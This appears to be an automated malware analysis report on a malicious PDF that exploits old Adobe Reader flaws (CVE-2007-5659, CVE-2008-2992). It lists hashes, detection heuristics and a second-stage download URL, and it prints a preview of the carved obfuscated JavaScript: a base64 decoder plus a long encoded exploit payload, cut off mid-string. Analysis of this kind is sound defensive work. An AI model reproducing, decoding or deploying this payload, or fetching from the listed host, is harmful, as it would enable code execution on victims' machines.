Malicious PDF — malware analysis report

Static analysis result for SHA-256 75a0ef43cb07f323…

MALICIOUS

PDF

17.3 KB Created: 2009-07-29 02:47:57 Authoring application: EhqQvF90ZgU (via zAMTRx) First seen: 2013-08-19
MD5: f424738669497a2f1ea38aba1cc154c1 SHA-1: 3ceaf6aeea51a17aed9ae0e521f58954471328eb SHA-256: 75a0ef43cb07f32371b376e473f51396b3317d5712b032cdd6eca9906e95bada
498 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that leverages multiple CVEs (CVE-2007-5659, CVE-2008-2992) to execute arbitrary code. The embedded JavaScript, after deobfuscation, contains a URL that is used to download a second-stage payload. This indicates a clear exploit and download pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(kR0vR4eqsbOad);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x221 16370 bytes
SHA-256: e2cfa86b74ff72e27a649482fd8bc974b3a6b8a965143692262c7f1c2a89c606
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var zc8rqjLLd45R="";
                                var kR0vR4eqsbOad="";
                                function DaKaKxhCoQY0( A7H9QLZBx0 ) {
                                    var MEVb7wl2Opg = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var QIdIwK3Wecrc, qQkca, ypKqvHb, VReu9wXRsrT, hyL3ud, IJ6VEESlfLd0k, R2JgNss, dsWzE, RrClBIHPWkAB6o = JyasIHFA0ZB37 = 0, If69rqJ = "", RCohngz6v0EV = [];
                                    A7H9QLZBx0 += "";
                                    do {
                                        VReu9wXRsrT = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        hyL3ud = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        IJ6VEESlfLd0k = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        R2JgNss = MEVb7wl2Opg.indexOf(A7H9QLZBx0.charAt(RrClBIHPWkAB6o++));
                                        dsWzE = VReu9wXRsrT<<18 | hyL3ud<<12 | IJ6VEESlfLd0k<<6 | R2JgNss;
                                        QIdIwK3Wecrc = dsWzE>>16 & 0xff;
                                        qQkca = dsWzE>>8 & 0xff;
                                        ypKqvHb = dsWzE & 0xff;
                                        if (IJ6VEESlfLd0k == 64) {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc);
                                        } else if (R2JgNss == 64) {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc, qQkca);
                                        } else {
                                            RCohngz6v0EV[JyasIHFA0ZB37++] = String.fromCharCode(QIdIwK3Wecrc, qQkca, ypKqvHb);
                                        }
                                    } while (RrClBIHPWkAB6o < A7H9QLZBx0.length);
                                    If69rqJ = RCohngz6v0EV.join("");
                                    If69rqJ = yigstr(If69rqJ);
                                    return If69rqJ;
                                }
                                function yigstr ( QIdIwK3Wecrc ) {
                                    var qQkca = [], ypKqvHb = VReu9wXRsrT = A7H9QLZBx0 = hyL3ud = IJ6VEESlfLd0k = 0;
                                    QIdIwK3Wecrc += "";
                                    while ( ypKqvHb < QIdIwK3Wecrc.length ) {
                                        A7H9QLZBx0 = QIdIwK3Wecrc.charCodeAt(ypKqvHb);
                                        if (A7H9QLZBx0 < 128) {
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(A7H9QLZBx0);
                                            ypKqvHb++;
                                        } else if ((A7H9QLZBx0 > 191) && (A7H9QLZBx0 < 224)) {
                                            hyL3ud = QIdIwK3Wecrc.charCodeAt(ypKqvHb+1);
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(((A7H9QLZBx0 & 31) << 6) | (hyL3ud & 63));
                                            ypKqvHb += 2;
                                        } else {
                                            hyL3ud = QIdIwK3Wecrc.charCodeAt(ypKqvHb+1);
                                            IJ6VEESlfLd0k = QIdIwK3Wecrc.charCodeAt(ypKqvHb+2);
                                            qQkca[VReu9wXRsrT++] = String.fromCharCode(((A7H9QLZBx0 & 15) << 12) | ((hyL3ud & 63) << 6) | (IJ6VEESlfLd0k & 63));
                                            ypKqvHb += 3;
                                        }
                                    }
                                    return qQkca.join("");
                                }

                zc8rqjLLd45R= DaKaKxhCoQY0("Wm5WdVkzUnBiMjRnYkc1NlNEaEZZMVJWZFdrb2JIZHRlakEwTVhScVVHOTRXU2w3SUhKbGRIVnliaUJUZEhKcGJtZGJKMlp5YjIxRGFHRnlRMjlrWlNkZEtHeDNiWG93TkRGMGFsQnZlRmtwTzMwZ1puVnVZM1JwYjI0Z2JsUktlVkJOVTI5QmRDaGlWMVJFZFRKMktYc2dkbUZ5SUZKMU5XdFJkVDB3TENCTFZXNDBPWGxzTURoWGFXazNQV0pYVkVSMU1uWXViR1Z1WjNSb0xDQldObUpRV0QweE1ESTBMQ0JWVVVKemQyWTJjbWN5TENCaVZrSmFaVEJNYjBoeUxDQlNlV296TkQwbkp5d2dlbUZyTWpKM2RIaGlQVkoxTld0UmRTd2daa2t4Ukc5WFQwOUJXV3A2Y1QxU2RUVnJVWFVzSUZOeFlVWnpaV0ZMUmt3OVVuVTFhMUYxTENCS1NFVkZkRVEwUFVGeWNtRjVLRFl6TERVekxETXlMRGtzTkRrc016Y3NOVEFzTXpFc01qTXNNelFzTUN3d0xEQXNNQ3d3TERBc05pdzFPU3d4TlN3eE5DdzBNeXcwTWl3eU1DdzFOQ3d6TlN3ME5TdzJNU3d4Tnl3Mk1DdzBNQ3cxTVN3eE1pdzBOQ3cxTWl3MU55dzBNU3d4TERJeUxERTRMRFU0TERJNExESTNMRFEzTERBc01Dd3dMREFzTWprc01Dd3pOaXd6TERJeExERXpMREFzTXpBc01Ua3NNemtzTlRZc055dzRMRFl5TERRc05Td3lOaXcwTml3eUxERXdMRFUxTERJMExESTFMRE16TERRNExETTRMREV4TERFMktUc2dabTl5S0dKV1FscGxNRXh2U0hJOVRXRjBhQzVqWldsc0tFdFZialE1ZVd3d09GZHBhVGN2VmpaaVVGZ3BPMkpXUWxwbE1FeHZTSEkrVW5VMWExRjFPMkpXUWxwbE1FeHZTSEl0TFNsN0lHWnZjaWhWVVVKemQyWTJjbWN5UFUxaGRHZ3ViV2x1S0V0VmJqUTVlV3d3T0ZkcGFUY3NWalppVUZncE8xVlJRbk4zWmpaeVp6SStVblUxYTFGMU8xVlJRbk4zWmpaeVp6SXRMU3hMVlc0ME9YbHNNRGhYYVdrM0xTMHBleUJUY1dGR2MyVmhTMFpNZkQwb1NraEZSWFJFTkZ0aVYxUkVkVEoyTG1Ob1lYSkRiMlJsUVhRb2VtRnJNakozZEhoaUt5c3BMVFE0WFNrOFBHWkpNVVJ2VjA5UFFWbHFlbkU3SUdsbUtHWkpNVVJ2VjA5UFFWbHFlbkVwZXlCU2VXb3pOQ3M5Ykc1NlNEaEZZMVJWZFdrb01UVTNYbE54WVVaelpXRkxSa3dtTWpVMUtUc2dVM0ZoUm5ObFlVdEdURDQrUFRnN0lHWkpNVVJ2VjA5UFFWbHFlbkV0UFRJN0lIMGdaV3h6WlNCN0lHWkpNVVJ2VjA5UFFWbHFlbkU5TmpzZ2ZTQjlJSDBnWlhaaGJDaFNlV296TkNrN0lIMGdibFJLZVZCTlUyOUJkQ2duYTA1YVJXcFpTbEpMWW5KWFRraGFRV3hPTjBGcE9FRmFhVGxtUlhCNFJVUnBPV1pGY0hoRlJHazVaa1Z3ZUVWRWFUbG1SRmxJU25OcE9YQkVjRGxYYzJrNWJFVkVWMlJUYVRsbVUwbHNaRk5wT1daVFNVZHlSR2s1UTBkWlFVVkVhVGxEUjFwNFJVUnBPVU5ITjFwa2MyazVRMGMxUjNKRmFUbHNSMWxJU1hOcE9XeEhXVnBLUjJrNVpsTTNSRmRIYVRsbVIxbG9ja2RwT1VOSFdVaEtSMms1YkVWVE9VcEhhVGxEUjNBMlNrZHBPVU5UV1ZwdlJXazVaa1ZhY0VsRWFUbERVMWxhYjBWcE9XeEZkRWhKUldrNVEwZFpjMFZFYVRsRFIxbElTbk5wT1d4RlV6bEtSMms1YkhOaFIwVkVhVGxzUlZCVlJVVnBPVU5IVURaa1JHazVaa1JGUjBWRWFUbERSMWxPY2tScE9VTkhXVWhLUjJrNVEzTllXbGRGYVRsc2MyRTVTbk5wT1hCRlJWVkZSV2s1YkVWTk5uSkVhVGxtUkVVNVpFUnBPVU5IV1U1WFIyazVRMGRaU0VwSGFUbERjMWhhVjBWcE9XeHpZVGxKUldrNWNITllPRVZGYVRsRFJFazVWMGRwT1daRVJXeHZSMms1UTBkWmMyOUhhVGxEUjFsSVNrZHBPVU56V0ZwWFJXazViSE5oT1VsRWFUbG1SRWxWUlVWcE9XWkVXVEJ5UkdrNVprUkZWVmRIYVRsRFIxbEJWM05wT1VOSFdVaEtSMms1UTNOWVdsZEZhVGxzYzJGd1NrZHBPV3hFZERoRlJXazVaa1JZWjFkRmFUbG1SRVU1UlVWcE9VTkhXVEJ5VTJrNVEwZFpTRXBIYVRsRGMxaGFWMFZwT1VOeldWcEtjMms1WmtkRmNGZEhhVGxEVTFnd1JYTnBPV3hGUkRaeVJXazViRWRGTm1SemFUbERSelZIVjBWcE9VTkhXVWhrUjJrNWJITlFPVXBIYVRsRFUxaGFWMFZwT1d4RlUxZEtjMms1UTBjM1RtUnphVGxEUjNRNGNrVnBPV3hGVTJ4S1JXazViRWRGYkdSemFUbG1SRVZzWkZOcE9VTkhXVnB2UldrNVEwZFpTRXBIYVRsbVUwVnNTa2RwT1d4SFRYaGtVMms1UTFOWlFWOUVhVGx3UlRWSFJVVnBPVU5IV1VoS1IyazViRVZFT1VwSGFUbHNSM0EyWkhOcE9XeEVXRnB2UldrNWJFUlpXa1Z6YVRsc1JVUnNTa2RwT1hCeldVNWtjMms1UTBSSlZVVkZhVGxEUjFsSVNrZHBPV3h6V1VoS1IyazVRM05ZV205RmFUbG1VMDF3U25OcE9XeHpSRGxmUjJrNWJITllXbTlGYVRsbVJFVndTVVZwT1VOSFdUaHlSMms1UTBkWlNFcEhhVGxEYzFoSVNYTnBPV3hFTlZkS1IyazViSE53T1VwSGFUbHdjMUJXY2tScE9XeEVOVlZ5YzJrNVEwYzNUa3BIYVRsbVUxaG5SVVZwT1VOSFdVaEtSMms1UTFOWVRtOUVhVGxzUlZOWFNrZHBPVU5IY0Raa2MyazVRMGQwT0hKRmFUbHNSVk5zU2tWcE9XeEhSV3hrYzJrNVEzTlpjMFZGYVRsRFIxbElTa2RwT1daVFRUbEtSMms1YkhORk9WOVRhVGxEYzFoSVNYTnBPV1pIWmtGS2MyazViSE5tUVc5RmFUbERSRWxzU1hOcE9YQnpXV2R5YzJrNWJITm1NRXBIYVRsRGMxaGFiMFZwT1daVFRYQkpSR2s1YkhORU9XUnphVGxzYzFoYWIwVnBPV1pFUlhCSlJXazVRMGRaUVVsemFUbERSMWxJU2tkcE9VTkhXVGh5UldrNVExTllUbTlFYVRsc1JWTlhTa2RwT1VOSFJUWmtjMms1UTBkMU9ISkZhVGxzUlZOc1NrVnBPV3hIUld4a2MyazViRWRaYzBWRmFUbERSMWxJU2tkcE9XWlRUVGxLUjJrNWJFVlRObTlFYVRsc1IxbE9aSE5wT1VOSGREaHlSV2s1YkVWVGJFcEZhVGxzUjBWc1pITnBPVU5IV1hORlJXazVRMGRaU0VwSGFUbERjM1JJU2tkcE9XeHpkVEJmUldrNVprUjBTRWx6YVRsbVJIUklTWE5wT1daRWRFaEpjMms1WmtSMFNFbHphVGxtUkhCd1JYTnBPV3h6VFRsS2MyazViRVZUYkVsemFUbG1SSFZCY2tWcE9XeHpkVTV2VTJrNVprUlpUbTlFYVRsc1JWTnNaSE5wT1d4RlUwZEZSR2s1UTBkRlZsZEVhVGxzYzFwd2IwVnBPV3h6WVRsSlJHazVRMU5tV205RmFUbHNSVk40U1VScE9XeEhVRlpYYzJrNVEwZG1aMFZGYVRsc2MyRTJSWE5wT1VOVFlYQnZSV2s1UTBkbVFVcEhhVGxtUjJaT1JYTnBPVU56Ukd4WFJXazVaa1ZhTm1SSGFUbHNSR1pJU1hOcE9XWkhaakJrVTJrNVEwZEpObkpUYVRsc1IxbElja1JwT1VORWRXaGtSV2s1UTBkRlZsZHphVGxzUkZCc2NrZHBPVU5IWmtoS1JHazVRM05aVG05SGFUbERSSFJ6YjBWcE9VTkVVSGhmUldrNVExTllNR1JFYVRsc2MwMUhjbk5wT1daRVUzQnZSV2s1YkhOTmNHOUZhVGxEUjJaQlNuTnBPV1pUWVZkWFJHazVRMGR3Y0c5RmFUbHNSVk0yWDBWcE9XeEhjR3hrUldrNWNFUmFPVWx6YVRsRFJ6ZGFiMFZwT1VOSFpscHZSV2s1YkhOUWJISnphVGxzUkhVd1NrUnBPVU5IV1VoSlJXazVRMFEzYzBWRmFUbERSRWsyY2tScE9XeHpXRTV2UkdrNVEzTndiRjlIYVRsRGMwazJTa1JwT1VOSFdVNWtSR2s1Y0VWVGNHOVRhVGx3UlVsRmIwVnBPV3hFV1VGeWMyazViRVZGYkZkSGFUbHNSVkJGVjBScE9XeEZkVVJGUkdrNWJFUjBXbkpFYVRsc1JWbGFSVVJwT1d4RVdWcHZSMms1Y0VWSlJVVkVhVGx3UkVSd1JYTnBPV3hGWmpCWFIyazViRVZRY0ZkSGFUbHNSSFJhYjBWcE9XeEZOVVZ2UkdrNVprUkpSVzlFTUZaRVUwcHdRekJhYzFrMFVVaFhjMU54U1RZeU9XeE1hVUZ3TUV4elEyd3hiSGx3VFhOeWMwazJaSEJOYzNKelNUWktXbEZ2VjFkTU1HWmFUbUpDVFZwSFJWTkVUakJCU25CYWJESkRRa3hIT1U4d1JXWlFNV2hxU2xBMFNEQk1WMmhtU25oRlprcFJha0pzTVZWUFNrMXNYMFY2UkV4UU5FZ3dURmRvWmtwMmNGcHNVVlZQU2sxc1gwVjZSRkJKTWxWUFNrMXNYMFY2UkZCVFJFNHdRVXBEUWt3d01FTk5ibWRDUlRkb2NsRnlRa1JCVFRCYVFWTXdRMHBPUkRkSlNVQkJiRmRuUkZORVRqQkJTbGRtVjFGRVFrMXVaMEpGTjJoeVVYSkNSRUZOTUZwQlV6QkRTazVFTjBsSlFGazBVVWhYYzFOeFNUWk9RRUpzVGtRM1Z6RmlRV3hYWjBSVFJUaENTalJJTjBsd2FFTktWMEpaVEdsQ1dteFRPRnBKUVVRM1RVbFZiRVZKUjI5RVNWWkVRVk5uV213eVYyWlhVVVJhU1hCb1EwcFhXVUZNZHpBd1FYaHdRekJhYzNrd1dqQkRUREpEUW14RmMzbHpXakJETUdFNGVVbDRjRnBNV2poNVNtaGliMFI0VmpCU2RqWlhSRWxIUlZOUk4zQkpSMVpFVWt3d2JFRjNXVTlLYUdKUFRYQm9RMHBYV1hrMlRFUlhORlUzWmxFeVdrTXdXbk5CTVVSbVNVeDVPRkJ6VWxwUFYxQndSV3hUY1ZkYVVHeHlVekJ2UVZwaFZuSlRZVlp5VTJGV1YxcEhiSGxUWVZaeVUyRnNSRWt3Vm5KVFlWWlhXa2RzV1ZNMVZXOVROVlZ2VXpCdlFWbzFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTUc5QldqVlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVlhXa2RzV1ZNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWWFdrZHNXVk0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZzUkVrd1ZXOVROVlZ2VXpWVmIxTTFWVzlUTlZWWFdrZHNXVk0xVlc5VE5WVnZVelZWYjFNMVZXOVROVlZ2VXpWVmIxTXdiMEZhTlZWdlV6VlZiMU0xVlc5VE5WVnZVelZWVjFwNE9XWlhVV293VUVrd1EwcE9hR3hzTVd4NWNGTTViMFJKUjFkc01FQkJNVVJtU1V4NU9GQnpVbHBQVjFCd1JXeFRWa1JUUVVoc1RHeG9RMG8yUWpkYVdEQllTalJFUTBkaE4weEtjRGRZUVdwb04wbFJSMFJTU25CRE1GcHpRVFpMU0c5U1pEQlBObHBhTUVVMVNGOWFNa2RCVEdsRVpscFlNR3hCVEdkbVNWRnZiMXBCU0d4TWJHaERTalpDTjFwUFRqQk1UVEJYTmxkbmNFcHBPRTgyYmpodlNWcHFXakZ3Ukc5T05FZEJUbEJaU2xGeWMxQXhSM05tTVZGSFJGSktSV1pLVVdwQ2JFcFZRVUUwV1VsQlJVZE1VRFJJTUV4WGFHWktjMnh2VFVKT2NERm5SRmhPVlZrM1FXTm5SRkphYWxveGNFUnZUa3B2ZVUxS2JHWk1WVUZ3UldSWmNtbEtiR1pNVlVGd1JXUnplVTFLYkdaTVZVRndSV1JDUkVGTk1GcEJVekJEU2s1RU4wbEpRRUZPVUZsS1VYSnpVREZIYzJZeE5teHlTWGhIUVVGcGFFTlhXa0kzV2xwcVdqRndSRzlPZUVkNWFVcHdRbGRPUVRkWFVYa3dURW8yU1hONlowVkJWVUZ3Tm5CaVpFVXhWbGxhZUhOQlYwd3dabHBPVGw5TVVGZEZRV1JCY0ZGWmFGOWFNa2RaUkRWelJUQkpWemRFYkhORk1IaEhRVmRNTUdaYVVtaGFSWEpCVUZGYVNISXdkRUZKVGtweGIxcE5Ra0pzY0VGQ01FbElOMGt3T1hsWFUxZHZSWEE1ZVZkVFYyOUZjRGw1VjFOWGIwVndPWGxYU1hCa1J6ZEllVmR3VjNKRk4waDVWMFJ3UlhOaE9YbFhOVWRYYzJFNWVWYzFSMjlFVURsNVYzUmFTVVJ3T1hsWGREQnZSWEE1ZVZkME1FcEhXRWg1VjNRNGIwUk5PWGxYV1Zwa1IyWkllVmRaV2twSFdVaDVWelZzU1VWWlNIbFhkVnBmUlhSSWVWZDBXbVJIV1VoNVYwUjRja2RaU0hsWGRFRnljMWxJZVZkaGNFcEZVemw1VjFOc1YwZHdPWGxYWVhCS1JWTTVlVmRFT1dSSFJUbDVWM1JhWDBSd09YbFhkRnBrUnpkSWVWZEVlSEpIV1VoNVZ6ZG5iMFJ3T1hsWFJEWnZVMFU1ZVZkMFRuSnpVRGw1VjBsRmIwUndPWGxYZEZwa1JGQTVlVmQwV21SSFdVaDVWMWhPU2tWRU9YbFhOMmR5UnpkSWVWZEZSVzlUUlRsNVYwUTVja1JRT1hsWFNVVnlSMUE1ZVZkMFdtUkVXVWg1VjNSYVpFZFpTSGxYV0U1S1JVUTVlVmMzWjNKSFJUbDVWMlpPWDFORk9YbFhVRWR5UlZsSWVWZEpSVmRFZFVoNVYzUmFYMFIxU0hsWGRGcGtSMWxJZVZkWVRrcEZSRGw1VnpkbmNrZHdPWGxYU1VkdlUwVTVlVmRKY0VwRVVEbDVWMGxGYjFOWlNIbFhkRnBKUkRkSWVWZDBXbVJIV1VoNVYxaE9Ta1ZFT1hsWE4yZFhSMWxJZVZkYU9WOVRSVGw1VjBrMlpGTkVPWGxYU1VWeVJVVTVlVmQwV2twRVlUbDVWM1JhWkVkWlNIbFhXRTVLUlVRNWVWZFlXa3BITjBoNVYzVkVWMFZaU0hsWFlUWktSR1pJZVZkRWNISkVUVGw1VjFsRWNuTllTSGxYZERodlJFUTVlVmQwV21SSGRFaDVWemRPY2tkWlNIbFhZVFpLUlVRNWVWZEVlRVZ6TjBoNVYzUXdaSE5ZU0hsWGRFaGZVMDA1ZVZkRWVGZHpSRGw1VjFsRVYzTllTSGxYU1VWWGMyRTVlVmQwV2twRlV6bDVWM1JhWkVkWlNIbFhOVVZYYzFsSWVWZFpTRzlIWVRsNVYyRndTWE5KT1hsWFJWVnZSRVU1ZVZkMFdtUkhXVWg1VjBSd2NrZFpTSGxYV1VGeWMxaEllVmRhTmtwRlV6bDVWMXB3U2tWbVNIbFhSSEJYYzFsSWVWZG1XbVJ6V0VoNVYxQkhiMU5GT1hsWGRGcGtSMWxJZVZjM1dtUkhXVWg1VjFoT1NrVlRPWGxYTlRsWFJ6ZEllVmMzV25KSGRVaDVWemRPU2tWVE9YbFhTVVZYUjBVNWVWZDBXbDlUZEVoNVYzUmFaRWRaU0hsWFdFNWtSMlpJZVZkYVZVVnpXVWg1VnpkQmNrZFpTSGxYWms1eVUxQTVlVmRhVlc5VFdFaDVWM1F3WkhOWlNIbFhOVFprVTBVNWVWZDBXbVJIV1VoNVYyRTJaRVJKT1hsWFJIaEZjMWxJZVZkMFFYSnpXRWg1VjNSSVgxTk5PWGxYUkhoWGMwUTVlVmRaUkZkeldFaDVWMWhhWDBSRk9YbFhkRnBrUjFsSWVWYzFPWEpIV1VoNVZ6ZEVja2MxT1hsWFdFNWtSMlpJZVZkMVFVbHpOMGg1VnpkQlNVUlRPWGxYVUVkWGMyWkllVmRtV21SVFdFaDVWemRCU25OWlNIbFhXRTVLUlZNNWVWYzFPVmRIY0RsNVZ6ZGFja2RZU0hsWE4wNUtSVk01ZVZkSlJWZEhSVGw1VjNSYVNYTm1TSGxYZEZwa1IxbEllVmQwV2w5VFRUbDVWMkUyWkVSSk9YbFhSSGhGYzFsSWVWZDBSSEp6V0VoNVYzUm9YMU5OT1hsWFJIaFhjMFE1ZVZkWlJGZHpXRWg1VjFsYVgwUkZPWGxYZEZwa1IxbEllVmMxT1hKSFdVaDVWMFI0Y2tSSk9YbFhXVnBrYzFoSWVWZDBTRjlUVFRsNVYwUjRWM05FT1hsWFdVUlhjMWhJZVZkMFdsOUVSVGw1VjNSYVpFZFpTSGxYV0Voa1IxbEllVmMzYUVwelV6bDVWMGs1WkVkbVNIbFhTVGxrUjJaSWVWZEpPV1JIWmtoNVYwazVaRWRtU0hsWFNWZFhSV1pJZVZjM1NISkhOMGg1VjBSNFYzTm1TSGxYU1hoSlJFMDVlVmMzYUdSRU5UbDVWMGx3WkVSSk9YbFhSSGhYYzFoSWVWZEVlRzlFY0RsNVYzUkVjbE5hT1hsWE56QlhSVk01ZVZjM1ozSkhjRGw1VjJGWFNrVlRPWGxYUkhodlIzQTVlVmRaVG5KVE4waDVWM1JCWkZORk9YbFhOMmR5UkdaSWVWZGhWbGRGVXpsNVYzUkJTWE5aU0hsWGRVRmtSR1pJZVZkWVdsZEVSRGw1VjFOc2NuTjBTSGxYV2xka1IyWkllVmQxUVVwellUbDVWM1J6Y2tSaE9YbFhXVnBrUlZBNWVWZFFlRjlIVFRsNVYzUkVjbE0zU0hsWFdqWlhSSFJJZVZkMFFXUkhXamw1VjFoYVpFUjFTSGxYVURsZlJGTTVlVmRRTm05SFV6bDVWMkUyU25OUU9YbFhOMGh2UkZoSWVWZEplRmRGVXpsNVZ6ZElWMFZUT1hsWGRFRkpjemRJZVZjMVZrVkVXamw1VjNSQlYwVlRPWGxYUkhoeWMxTTVlVmRaUVZkelRUbDVWM0JzY2tkbVNIbFhkREJLUlZNNWVWZDBRVXBGVXpsNVZ6ZE9WMFJZU0hsWFduaEtjMW81ZVZkMFdtUkhSVGw1VjFCc1gwUkZPWGxYVUVkeVJGQTVlVmMzVG1SRVNUbDVWMWhCVjNOMVNIbFhXSE55YzFvNWVWZDBXbVJ6VURsNVYwUldSVVJaU0hsWGNIaEtSVk01ZVZkRlYxZEVSRGw1VjBSWFNVVkpPWGxYY0hoRlJIVXdlVWw0UjBGWFREQm1XakJJWDBjMVZVcEZTbkZ2V2tsVlprVkpSMjlFU1VkRlUwcHdRekJhYzNsek0ySXdVVmxuV0ZveVIxbHNVa1JGTmtONVNrRk5Oa0pIWmtGTVVEUklNRXhYYUdaS1NtWlpXbHB2YjFwRVRqQkJTbXhQUVZWQ1NUWmtXVWxLU1RoZldqSkhRVEIwYUY5VFkxcHZXbmRIV1VsWWFFOU1aMXBrTkVkSGIxSndWWEpKZUVkQlYwd3dabHBhYWxveGNFUnZUa3B4YjFwTlFrSnNjRUZDTUVsSU4wa3dPWGxYWVVkeVUwazVlVmRoUjNKVFNXeDVTWGhIUVVFMFdVbEJSVWRZV2pKSGVVNU1Ra0pYV25CUWJHRlpRbXh1U0ZnME5WVkJRVFJaU1VGRlIxaFFTbXhQUVZWQ1NUWmtXVWxLU1Roa1NYaEhRVmRNTUdaYVRscHZOa2M0WmpSVk1GOWFNa2RaU1U1T1gweFFWMFZCWkVGd1VWbG9YMXAzUjFsRU5XaHZSRWxIYjBSSlZrUlFNRWhmUnpWVlNrVjRSMEZzTmpCbVdqRndRekJhYzFrMGFEQk1UbE54YjBSNFZVeFNRakJZUlhaRE1FVXpXVGRTYmxsS2MzaFZURkpDTUZoRlIyOTVTVXB2WmxwNWFtUkZOWE5NVG1zd2JHeEVWVU5IUURoTVVrSXdXRVZsYzNsTlNteG1URlZCY0VWa2MwUkpTbmczYkVWRlVFNVdNRU5GVEVoSmMwTlpiMW95YzNscFNuQkNWMDVCTjFkUmVUQk1TbmhZVEVsaU4wZGpUbXhzVmxwdlYzazRlVWxLYjJaYVJFNHdRVXBWY0VSdVFWaEJSRGhhVVVWb2J6WmtRakJPU25GdldreHpaa0ZPY0VOS2FVUkRiRnBhVDJ4YVFVTktOa0l3VUZONVdrNVRNRU5LVGtRM1NWRnZiMW8xUVc4MFEzTnNWekY1U1ZkVGVGaE9UakJZV2pKSFdWSndWVkJPU1ZwbVNsWkVaa1V6YzB4TVFrSkJRV2x6Wmt4TVFVSnNNWEpaZDNWNVJHdzBiRUZhVVc5dldrUk9NRUZLYnpkc01WcHdVVzV6ZVUxS1EwSnNSWE41YzFvd1F6QmhPRmxTY0ZWUVRrbGFaa3BXUkdaRk0zTk1URUpDUkRBeFRqQkJXR2htU1VsV1dWQTFRVzgwUTNOc1Z6RjVTVmRUZUZoT1RqQk1VR3c0UWpCYVRsOVhNVFp5U1RSVmNFUnVRVmhCUkRoYVVVVm9ielprUWpCT1RsYzNTa3d3UTNOVE9FRkVVVlpFVTBwV01HeEtWVm